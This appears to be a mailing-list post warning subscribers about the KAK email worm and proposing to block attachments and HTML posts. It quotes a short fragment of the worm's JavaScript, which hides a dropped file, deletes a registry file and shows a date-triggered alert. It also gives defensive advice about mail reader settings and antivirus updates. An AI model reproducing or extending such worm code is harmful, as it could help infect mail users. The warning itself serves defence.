I'm considering dumping all attachments (and possibly HTML) posting from the list to get rid of this ongoing problem.  might want to have a brief discussion of the ramifications b/f I go ahead and do it?

And then at the bottom of the mail, we find:

');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');
d=new Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft say
s not today !')

This is the kak worm! Anyone reading the mail with a relatively new mail reader (mine isn't) who did NOT take my advice posted Wednesday night is probably infected!

Please go re-read my mail about how to secure your mail reader - good security measures will stop this. The Outlook update Microsoft just released will also help with things like this.

Also, update your virus scanner, since once you get this thing, the virus scanner is the only way to get rid of it.
